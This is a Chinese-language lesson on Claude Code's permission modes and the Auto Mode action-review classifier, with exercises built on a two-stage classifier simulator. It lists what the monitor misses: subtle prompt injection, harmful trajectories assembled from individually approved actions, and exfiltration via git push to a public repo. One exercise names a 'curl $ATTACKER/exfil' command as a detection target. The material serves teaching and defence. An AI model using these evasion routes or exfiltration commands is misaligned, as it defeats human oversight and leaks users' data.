自主 Agent 的权限模式
权限阶梯用逐级提高的自主程度,控制自主 agent 无需询问就能执行哪些动作。以本课使用的 Claude Code 为例,它有六种模式:"plan" 在每个动作前都问,"default"(UI 中标为 "Manual")只对有风险的动作问,"acceptEdits" 自动批准文件写入但仍确认 shell 执行,"bypassPermissions" 批准一切。Auto Mode 对应
auto模式,由独立的分类器模型在每个动作运行前进行审查,并阻止超出用户请求的权限升级。动作预算通过max_turns和max_budget_usd执行。auto是否可用取决于套餐、组织设置、模型与提供商;Anthropic 也明确表示,分类器单凭自己并不充分。
类型: Learn 语言: Python(标准库,两阶段分类器模拟器) 前置要求: 阶段 15 · 01(长程 agent),阶段 15 · 09(编码 agent 全景) 预计时间: ~45 分钟
问题背景
你机器上的一个自主编码 agent 是一个独立的安全类别。攻击面是这个 agent 能够到的一切——文件系统、网络、凭证、剪贴板、任何浏览器标签页、任何打开的终端。Bruce Schneier 等人已公开指出这一点:计算机使用类 agent 不是聊天机器人的"功能更新",它们是一种带有新风险画像的新工具。
Claude Code 的权限系统是 Anthropic 的回答。它不是一个"自主 / 不自主"的开关,而是横跨能力阶梯的六种模式:plan → default → acceptEdits → … → bypassPermissions。每种模式都在速度与逐动作审查之间作出不同权衡。Auto Mode(2026 年 3 月)增加一个独立的分类器模型,把审批移出用户的关键路径:分类器在动作运行前审查它,并阻止超出请求范围的升级。
工程问题是:这个系统抓得住什么、漏掉什么,以及一个给定任务实际上该用哪种模式。
核心概念
六种权限模式
| 模式 | 行为 | 何时用 |
|---|---|---|
plan | agent 提出一个计划;用户批准整个计划;每个动作在执行前都被审查 | 不熟悉的任务;接近生产的代码;第一次在某个仓库上用这个 agent |
default | UI 中标为 "Manual"。agent 跑动作;任何"有风险"的动作(shell 执行、破坏性操作、网络调用)都提示用户 | 大多数交互式编码会话 |
acceptEdits | 文件写入自动批准;shell 执行和网络调用仍提示 | 跨很多文件的重构 |
auto | 独立的分类器模型在每个动作运行前审查它,并阻止超出请求范围的升级 | 在受约束工作区里的长程无人值守运行 |
dontAsk | 从不弹出提示;权限规则没有预先批准的动作会被拒绝 | 临时沙箱、CI 任务、研究脚本 |
bypassPermissions | 批准一切 | 文档写明"仅在你愿意丢弃的临时容器内" |
(上面的名字跟公开的 Claude Code 文档一致;UI 把 default 标为 "Manual"。)
一页讲清 Auto Mode
Auto Mode(2026 年 3 月 24 日上线)是第一个把逐动作审批委托给模型的权限模式。结构:
- 独立的分类器模型。 在每个动作运行前,根据声明的任务和会话当前状态审查动作,并阻止超出请求范围的升级。被阻止的动作会回退给用户处理。
- 受门控的可用性。
auto是否可用,取决于套餐、组织是否启用、模型和提供商。
预算控制跟分类器并列:
max_turns—— 一个会话里的总迭代数。max_budget_usd—— 中止会话的美元上限。- 每个工具的动作计数上限(不超过 N 次
WebFetch调用,等等)。
这个系统抓得住什么
- 直白的、注入进工具输入的 prompt 注入,其注入指令映射到一个已知有风险的动作形状。
- 重复的工具循环——分类器能看出动作 N+1 跟动作 N 几乎一样,连着五次。
- 在一个本来只做文件编辑的会话里明显越界的 shell 命令。
这个系统会漏掉什么
- 微妙的 prompt 注入,它调节行为却不产生任何一个被标记的动作。间接 prompt 注入不是一个能被完全打补丁的漏洞(OpenAI preparedness 负责人,2025,谈浏览器 agent——见第 11 课)。
- 语义层面的越界。 每个单独的动作都能看起来安全,而组合起来的轨迹却是有害的。分类器评判的是动作;它不重新推导用户的意图。
- 通过合法渠道外泄。 把数据写进你拥有的一个文件,然后
git push到一个公开仓库,这是一连串被允许的动作,问题在于它们的组合。
研究预览的定位
Anthropic 把 Auto Mode 作为研究预览发布。文档明说这个分类器是一个层,不是一个解决方案:用户被期望把 Auto Mode 跟预算、白名单、隔离的工作区和轨迹审计(第 12-16 课)结合起来用。预览的定位也反映了那个有记录在案的评估 vs 部署差距(第 1 课)——一个通过离线评估的分类器,在用户上下文模糊的真实会话里可能表现不同。
这道阶梯在你工作流里的位置
- 不熟悉的任务:从
plan起步。读计划比回滚一次坏运行更便宜。 - 已知的重构:
acceptEdits省下很多确认点击。 - 无人值守的后台运行:
auto,仅在一个你已测过爆炸半径的工作区里(没有凭证、没有生产挂载、没有你没主动选入的出站流量)。 - 临时容器:
dontAsk/bypassPermissions可以接受——当且仅当容器及其凭证是一次性的。
autonomy-oversight实际使用
code/main.py 把动作审查分类器模拟成两阶段流水线。这只是教学简化;真实的 auto 模式由独立分类器模型支持,并没有公开的两阶段契约。阶段 1 是对提议动作的一条廉价关键词规则,阶段 2 是一个更慢的多规则审查器。驱动程序喂入一小段合成轨迹(安全动作、一次 prompt 注入尝试、一个重复循环),并展示分类器在哪里抓住、在哪里漏掉。
拿去用
outputs/skill-permission-mode-picker.md 把一段任务描述匹配到正确的权限模式、预算上限和所需的隔离。
练习
运行
code/main.py。哪种合成动作类型从不被阶段 1 标记、却总被阶段 2 抓住?哪一种两者都抓不住?扩展阶段 1 的规则集,去抓一个特定的已知坏形状(比如
curl $ATTACKER/exfil)。在良性动作样本上测量误报率。读 Anthropic 的 "How the agent loop works" 文档。列出在
default模式下 agent 默认会碰到的每一个外部状态。在无人值守地跑auto之前,你需要单独门控哪些?设计一个 24 小时无人值守运行的预算:
max_turns、max_budget_usd、每工具上限、白名单。为每个数字给出理由。描述一条轨迹,其中每个单独的动作都被分类器批准,组合起来的行为却失准。(第 14 课讲急停开关和金丝雀 token 如何应对这个。)
关键术语
| 术语 | 大家嘴上怎么说 | 实际指什么 |
|---|---|---|
| Permission mode(权限模式) | "agent 能干多少" | 控制逐动作审批的六种命名策略之一 |
| plan mode | "干任何事前都问" | agent 写一个计划;用户在执行前批准 |
| acceptEdits | "让它写文件" | 文件写入自动批准;shell 执行仍提示 |
| auto | "自动审批" | 独立分类器模型审查每个动作,阻止超出请求范围的升级 |
| bypassPermissions | "全力 YOLO" | 批准一切;意在用于临时容器 |
| Stage 1(模拟器) | "快速关键词检查" | code/main.py 中对提议动作的廉价规则 |
| Stage 2(模拟器) | "深度审查" | 对被标记动作运行的较慢多规则审查器 |
| Research preview(研究预览) | "非正式发布(非 GA)" | Anthropic 给那些失败模式仍在摸清的功能的定位 |
延伸阅读
- Anthropic — How the agent loop works —— 权限模式、预算、动作格式。
- Anthropic — Claude Managed Agents overview —— 托管服务的执行模型。
- Anthropic — Claude Code product page —— 功能面与 Auto Mode 发布公告。
- Anthropic — Claude's Constitution (January 2026) —— 塑造分类器判断的那个基于推理的层。
- Anthropic — Measuring agent autonomy in practice —— 对长程权限设计的内部视角。